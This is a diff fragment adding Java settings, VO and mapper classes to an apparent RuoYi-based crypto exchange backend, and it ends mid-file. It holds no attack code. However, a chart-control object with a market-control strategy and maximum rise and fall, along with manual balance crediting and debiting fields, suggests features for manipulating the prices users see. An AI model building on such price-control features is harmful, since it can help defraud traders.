/dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TgBotSetting.java @@ -0,0 +1,11 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class TgBotSetting { + + private String botName; + private String botToken; + private String chatId; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/ThirdPaySetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/ThirdPaySetting.java new file mode 100644 index 0000000..cd93a55 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/ThirdPaySetting.java @@ -0,0 +1,39 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class ThirdPaySetting { + + // + private String name; + //0下线1上线 + private Integer status; + // 地址 + private String url; + + private String key; + + //三方充值通道 0 开启 1关闭 + private String thirdPayStatu; + + + //三方提现通道 0 开启 1关闭 + + private String thirdWithStatu; + + + //方法名 + private String companyName; + /** + * 编码 + */ + private String code; + + private String mechId; + + private String returnUrl; + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipDirectionsSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipDirectionsSetting.java new file mode 100644 index 0000000..cf8d0bf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipDirectionsSetting.java @@ -0,0 +1,18 @@ +package com.ruoyi.bussiness.domain.setting; + + +import lombok.Data; + +@Data +public class VipDirectionsSetting { + + /** + * 语言 + */ + private String lang; + + /** + * 详细信息 + */ + private String info; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipLevelSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipLevelSetting.java new file mode 100644 index 0000000..a4b4c49 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipLevelSetting.java @@ -0,0 +1,92 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class VipLevelSetting { + + /** + * 开关 + */ + private Boolean isOpen; + + + /** + * vip0 开始 + */ + private String vip0Start; + /** + * vip0 结束 + */ + private String vip0End; + + /** + * vip1 开始 + */ + private String vip1Start; + /** + * vip1 结束 + */ + private String vip1End; + + /** + * vip2 开始 + */ + private String vip2Start; + /** + * vip2 结束 + */ + private String vip2End; + + /** + * vip3 开始 + */ + private String vip3Start; + /** + * vip3 结束 + */ + private String vip3End; + + /** + * vip4 开始 + */ + private String vip4Start; + /** + * vip4 结束 + */ + private String vip4End; + + /** + * vip5 开始 + */ + private String vip5Start; + /** + * vip5 结束 + */ + private String vip5End; + + /** + * vip6 开始 + */ + private String vip6Start; + /** + * vip6 结束 + */ + private String vip6End; + + /** + * vip7开始 + */ + private String vip7Start; + /** + * vip7 结束 + */ + private String vip7End; + + /** + * vip8 开始 + */ + private String vip8Start; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VoiceSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VoiceSetting.java new file mode 100644 index 0000000..0229873 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VoiceSetting.java @@ -0,0 +1,23 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 冲提语音包配置 + */ +@Data +public class VoiceSetting { + /** + * 提现语音包路径 + */ + private String withdrawalVoiceUrl; + /** + * 充值语音包路径 + */ + private String rechargeVoiceUrl; + + /** + * 实名认证 + */ + private String verifiedVoiceUrl; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhiteIpSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhiteIpSetting.java new file mode 100644 index 0000000..a1ff43a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhiteIpSetting.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 后台ip控制 + */ +@Data +public class WhiteIpSetting { + private String ip; + private String remark; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhitePaperSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhitePaperSetting.java new file mode 100644 index 0000000..7502bac --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhitePaperSetting.java @@ -0,0 +1,8 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class WhitePaperSetting { + private String url; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyAppUserDataVo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyAppUserDataVo.java new file mode 100644 index 0000000..e1e8810 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyAppUserDataVo.java @@ -0,0 +1,32 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 代理下级用户统计Vo + */ +@Data +public class AgencyAppUserDataVo { + + private Long appUserId; //玩家用户id + private BigDecimal recharge; //充值总额 + private BigDecimal withdraw; //体现总额 + private BigDecimal sendBonus; //赠送彩金总额 + private BigDecimal subBonus; //扣减彩金总额 + + private BigDecimal btcManualScoring; // BTC人工上分+ + private BigDecimal ethManualScoring; // ETH人工上分+ + + private BigDecimal subAmount; //人工下分- + private BigDecimal sendAmount; //人工上分+ + private BigDecimal btcManualSubdivision; //BTC人工下分- + private BigDecimal ethManualSubdivision; //ETH人工下分- + + private BigDecimal sumManualScoring; //人工下分+总额 + private BigDecimal sumManualSubdivision; //人工下分-总额 + + private BigDecimal collectionAmount; //下级总归集金额 + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyDataVo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyDataVo.java new file mode 100644 index 0000000..899ac10 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyDataVo.java @@ -0,0 +1,32 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 统计代理Vo + */ +@Data +public class AgencyDataVo { + + private Long agencyId; //下级代理id + private String agencyUserName; //下级代理名称 + private String appAllUserId; //下级所有玩家ids + private BigDecimal collectionAmount; //下级总归集金额 + private BigDecimal recharge; //充值总额 + private BigDecimal withdraw; //体现总额 + private BigDecimal sendBonus; //赠送彩金总额+ + private BigDecimal subBonus; //扣减彩金总额- + + private BigDecimal btcManualScoring; // BTC人工上分+ + private BigDecimal ethManualScoring; // ETH人工上分+ + + private BigDecimal subAmount; //人工下分- + private BigDecimal sendAmount; //人工上分+ + private BigDecimal btcManualSubdivision; //BTC人工下分- + private BigDecimal ethManualSubdivision; //ETH人工下分- + + private BigDecimal sumManualScoring; //人工下分+总额 + private BigDecimal sumManualSubdivision; //人工下分-总额 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AssetTransFundsVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AssetTransFundsVO.java new file mode 100644 index 0000000..b3da87b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AssetTransFundsVO.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class AssetTransFundsVO { + /** + * 币种 + */ + private String coin; + /** + * 转出账户 + * AssetEnum + */ + private Integer transferOutAccount; + /** + * 转入账户 + * AssetEnum + */ + private Integer transferInAccount; + /** + * 金额 + */ + private BigDecimal amount; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/DailyDataVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/DailyDataVO.java new file mode 100644 index 0000000..84cec43 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/DailyDataVO.java @@ -0,0 +1,40 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.math.BigDecimal; + +/** + * @author:michael 玩家数据统计 + * @createDate: 2023/8/11 14:09 + */ + +@Data +public class DailyDataVO { + + //总充值 + private BigDecimal totalRechargeAmount; + //总提现 + private BigDecimal totalWithdrawAmount; + //总赠送彩金 + private BigDecimal totalWingAmount; + //总扣减彩金 + private BigDecimal totalSubBousAmount; + //总下分 + private BigDecimal totalSubAmount; + //总下分 + private BigDecimal totalAddAmount; + //总归集金额 + private BigDecimal totalCollectAmount; + // + private BigDecimal betAmount; + private BigDecimal rewardAmount; + //U本位输赢总金额 + private BigDecimal totalContractAmount; + //理财总金额 + private BigDecimal totalMattersAmount; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/OwnVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/OwnVO.java new file mode 100644 index 0000000..bd421ed --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/OwnVO.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class OwnVO { + private String market; + private String coin; + private BigDecimal price; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecallVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecallVO.java new file mode 100644 index 0000000..0ac4d35 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecallVO.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class RecallVO { + private String timestamp; + private String nonce; + private String sign; + private String body; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecoedEnumVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecoedEnumVO.java new file mode 100644 index 0000000..969af9e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecoedEnumVO.java @@ -0,0 +1,10 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +@Data +public class RecoedEnumVO { + + private Integer key; + private String value; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SecondCoinCopyVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SecondCoinCopyVO.java new file mode 100644 index 0000000..8385824 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SecondCoinCopyVO.java @@ -0,0 +1,9 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +@Data +public class SecondCoinCopyVO { + private Long copyId; + private Long[] copyIds; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SymbolCoinConfigVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SymbolCoinConfigVO.java new file mode 100644 index 0000000..a43859b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SymbolCoinConfigVO.java @@ -0,0 +1,80 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.springframework.data.annotation.Transient; + +import java.math.BigDecimal; + +/** + * 秒合约币种配置对象 t_second_coin_config + * + * @author ruoyi + * @date 2023-07-11 + */ +@Data +public class SymbolCoinConfigVO { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 合约交易对 + */ + private String symbol; + /** + * 是否启用 2关闭 1启用 + */ + private Long status; + /** + * 是否展示 2不展示 1展示 + */ + private Long showFlag; + /** + * 币种 + */ + private String coin; + /** + * 结算币种 + */ + private String baseCoin; + private String market; + + /** + * 排序 + */ + private Long sort; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 图标 + */ + private String logo; + /** + * 展示交易对 + */ + private String showSymbol; + /** + * 类型 0-秒合约 1-u本位 2-币币 + */ + private Integer type; + /** + * 类型 1 外汇 2 虚拟币 + */ + private Integer coinType; + private BigDecimal amount; + @TableField(exist = false) + private BigDecimal open; + private Integer isCollect; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SysDataVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SysDataVO.java new file mode 100644 index 0000000..ba2f605 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SysDataVO.java @@ -0,0 +1,28 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.alibaba.fastjson2.JSONObject; +import lombok.Data; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +/** + * 首页数据统计 + * + * @author ruoyi + */ +@Data +public class SysDataVO { + + //标题 1平台总收入,2玩家数量,3总充值金额,4提现金额 + private Integer title; + //总值 + private BigDecimal totalNum; + + private String redLineName; + private String blueLineName; + private Map redLine; + private Map blueLine; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TAgentActivityInfoVo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TAgentActivityInfoVo.java new file mode 100644 index 0000000..3843ffd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TAgentActivityInfoVo.java @@ -0,0 +1,59 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +@Data +public class TAgentActivityInfoVo { + + /** + * id + */ + private String id; + /** + * 1 充值返利 2挖矿返利 + */ + private Integer type; + + /** + * 1usdt-erc 2 usdt-trc 3btc 4eth + */ + private String coinType; + /** + * 返利用户 + */ + private Long fromId; + /** + * 用户id + */ + private Long userId; + /** + * 1 待返 2 已返 + */ + private Integer status; + + /** + * $column.columnComment + */ + private String serialId; + + private BigDecimal sumAmount; + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + private Date createTime; + + private Map params; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TBotKlineModelVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TBotKlineModelVO.java new file mode 100644 index 0000000..3ba9b6f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TBotKlineModelVO.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; + +/** + * 控线配置对象 t_bot_kline_model + * + * @author ruoyi + * @date 2023-08-09 + */ +@Data +public class TBotKlineModelVO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + + private Long id; + /** + * 最大跌幅 + */ + private Long decline; + /** + * 控制粒度 + */ + private Long granularity; + /** + * 最大涨幅 + */ + private Long increase; + /** + * 控盘策略 + */ + private Long model; + /** + * 浮动比例 + */ + private Long pricePencent; + /** + * 交易对 + */ + private String symbol; + /** + * 值 + */ + private String searchValue; + /** + * 开始时间 + */ + private Date beginTime; + + private BigDecimal conPrice; + /** + * 结束时间 + */ + private Date endTime; + private String lineChartData; + private List botInfoList; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TOwnCoinVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TOwnCoinVO.java new file mode 100644 index 0000000..392ff0e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TOwnCoinVO.java @@ -0,0 +1,107 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 发币对象 t_own_coin + * + * @author ruoyi + * @date 2023-09-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin") +public class TOwnCoinVO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String coin; + /** + * 图标 + */ + private String logo; + /** + * 参考币种 + */ + private String referCoin; + /** + * 参考币种交易所 + */ + private String referMarket; + /** + * 展示名称 + */ + private String showSymbol; + /** + * 初始价格(单位USDT) + */ + private BigDecimal price; + /** + * 价格百分比 + */ + private BigDecimal proportion; + /** + * 总发行量 + */ + private BigDecimal totalAmount; + /** + * 私募发行量 + */ + private BigDecimal raisingAmount; + /** + * 已筹集额度 + */ + private BigDecimal raisedAmount; + /** + * 预购上限 + */ + private Integer purchaseLimit; + /** + * 参与人数 + */ + private Long participantsNum; + /** + * 筹集期限 + */ + private Long raisingTime; + /** + * 开始时间 + */ + private Date beginTime; + /** + * 结束时间 + */ + private Date endTime; + /** + * 1.筹备中 2.进行中 3 筹集成功 4.筹集失败 + */ + private Integer status; + /** + * 介绍 + */ + private String introduce; + + /** + * 申购数量 + */ + private Long numLimit; + + private Long beginTimes; + private Long endTimes; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserBonusVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserBonusVO.java new file mode 100644 index 0000000..b7d9c12 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserBonusVO.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; +/** + * 赠送彩金 人工下分 VO类 + * + * @author ruoyi + * @date 2023-07-10 + */ +@Data +public class UserBonusVO { + //用户id + private Long userId; + //金额 + private BigDecimal amount; + //资产币种 + private String symbol; + + private String type; + //0 上分 1 下分 + private String giveType; + private String createBy; + //备注 + private String remark; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserDataVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserDataVO.java new file mode 100644 index 0000000..04aec53 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserDataVO.java @@ -0,0 +1,44 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * @author:michael 玩家数据统计 + * @createDate: 2023/8/11 14:09 + */ + +@Data +public class UserDataVO { + + //用户id + private Long userId; + + private String userName; + //总充值 + private BigDecimal totalRechargeAmount; + //总提现 + private BigDecimal totalWithdrawAmount; + //总赠送彩金 + private BigDecimal totalWingAmount; + //总扣减彩金 + private BigDecimal totalSubBousAmount; + //总下分 + private BigDecimal totalSubAmount; + //总上分 + private BigDecimal totalAddAmount; + //总归集金额 + private BigDecimal totalCollectAmount; + //秒合约输赢金额 + private BigDecimal totalCurrencyAmount; + //U本位输赢总金额 + private BigDecimal totalContractAmount; + //理财总金额 + private BigDecimal totalMattersAmount; + // + private BigDecimal betAmount; + + private BigDecimal rewardAmount; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/WithdrawFreezeVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/WithdrawFreezeVO.java new file mode 100644 index 0000000..779fd6b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/WithdrawFreezeVO.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class WithdrawFreezeVO { + private String coin; + private BigDecimal price; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiActivityMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiActivityMapper.java new file mode 100644 index 0000000..1e233a9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiActivityMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.DefiActivity; +import org.apache.ibatis.annotations.Param; + +/** + * 空投活动Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface DefiActivityMapper extends BaseMapper +{ + /** + * 查询空投活动 + * + * @param id 空投活动主键 + * @return 空投活动 + */ + public DefiActivity selectDefiActivityById(Long id); + + /** + * 查询空投活动列表 + * + * @param defiActivity 空投活动 + * @return 空投活动集合 + */ + public List selectDefiActivityList(DefiActivity defiActivity); + + /** + * 新增空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int insertDefiActivity(DefiActivity defiActivity); + + /** + * 修改空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int updateDefiActivity(DefiActivity defiActivity); + + /** + * 删除空投活动 + * + * @param id 空投活动主键 + * @return 结果 + */ + public int deleteDefiActivityById(Long id); + + /** + * 批量删除空投活动 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteDefiActivityByIds(Long[] ids); + + List showDefiActivity(@Param("userId") Long userId, @Param("status") Integer status); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiOrderMapper.java new file mode 100644 index 0000000..9a33334 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiOrderMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; + +import java.math.BigDecimal; +import java.util.List; + +/** + * defi订单Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface DefiOrderMapper extends BaseMapper +{ + /** + * 查询defi订单 + * + * @param id defi订单主键 + * @return defi订单 + */ + public DefiOrder selectDefiOrderById(Long id); + + /** + * 查询defi订单列表 + * + * @param defiOrder defi订单 + * @return defi订单集合 + */ + public List selectDefiOrderList(DefiOrder defiOrder); + public List getOrder(DefiOrder defiOrder); + + /** + * 新增defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int insertDefiOrder(DefiOrder defiOrder); + + /** + * 修改defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int updateDefiOrder(DefiOrder defiOrder); + + /** + * 删除defi订单 + * + * @param id defi订单主键 + * @return 结果 + */ + public int deleteDefiOrderById(Long id); + + /** + * 批量删除defi订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteDefiOrderByIds(Long[] ids); + BigDecimal getAllAmount(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiRateMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiRateMapper.java new file mode 100644 index 0000000..6ef6113 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiRateMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import com.ruoyi.bussiness.domain.DefiRate; + +/** + * defi挖矿利率配置Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface DefiRateMapper extends BaseMapper +{ + /** + * 查询defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return defi挖矿利率配置 + */ + public DefiRate selectDefiRateById(Long id); + + /** + * 查询defi挖矿利率配置列表 + * + * @param defiRate defi挖矿利率配置 + * @return defi挖矿利率配置集合 + */ + public List selectDefiRateList(DefiRate defiRate); + + /** + * 新增defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int insertDefiRate(DefiRate defiRate); + + /** + * 修改defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int updateDefiRate(DefiRate defiRate); + + /** + * 删除defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return 结果 + */ + public int deleteDefiRateById(Long id); + + /** + * 批量删除defi挖矿利率配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteDefiRateByIds(Long[] ids); + + public List selectAllOrderBy(); + public List getDefiRateByAmount(BigDecimal amount); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/KlineSymbolMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/KlineSymbolMapper.java new file mode 100644 index 0000000..314dfd4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/KlineSymbolMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.KlineSymbol; + +/** + * 数据源Mapper接口 + * + * @author ruoyi + * @date 2023-07-10 + */ +public interface KlineSymbolMapper extends BaseMapper +{ + /** + * 查询数据源 + * + * @param id 数据源主键 + * @return 数据源 + */ + public KlineSymbol selectKlineSymbolById(Long id); + + /** + * 查询数据源列表 + * + * @param klineSymbol 数据源 + * @return 数据源集合 + */ + public List selectKlineSymbolList(KlineSymbol klineSymbol); + + /** + * 新增数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int insertKlineSymbol(KlineSymbol klineSymbol); + + /** + * 修改数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int updateKlineSymbol(KlineSymbol klineSymbol); + + /** + * 删除数据源 + * + * @param id 数据源主键 + * @return 结果 + */ + public int deleteKlineSymbolById(Long id); + + /** + * 批量删除数据源 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteKlineSymbolByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/SettingMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/SettingMapper.java new file mode 100644 index 0000000..d951259 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/SettingMapper.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.setting.Setting; + +/** + * 配置数据处理层 + * @author Chopper + * @since 2020/11/17 8:01 下午 + */ +public interface SettingMapper extends BaseMapper { + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TActivityRechargeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TActivityRechargeMapper.java new file mode 100644 index 0000000..10cec5d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TActivityRechargeMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TActivityRecharge; + +/** + * 充值活动Mapper接口 + * + * @author ruoyi + * @date 2023-07-05 + */ +public interface TActivityRechargeMapper extends BaseMapper +{ + /** + * 查询充值活动 + * + * @param id 充值活动主键 + * @return 充值活动 + */ + public TActivityRecharge selectTActivityRechargeById(Long id); + + /** + * 查询充值活动列表 + * + * @param tActivityRecharge 充值活动 + * @return 充值活动集合 + */ + public List selectTActivityRechargeList(TActivityRecharge tActivityRecharge); + + /** + * 新增充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int insertTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 修改充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int updateTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 删除充值活动 + * + * @param id 充值活动主键 + * @return 结果 + */ + public int deleteTActivityRechargeById(Long id); + + /** + * 批量删除充值活动 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTActivityRechargeByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAgentActivityInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAgentActivityInfoMapper.java new file mode 100644 index 0000000..6963919 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAgentActivityInfoMapper.java @@ -0,0 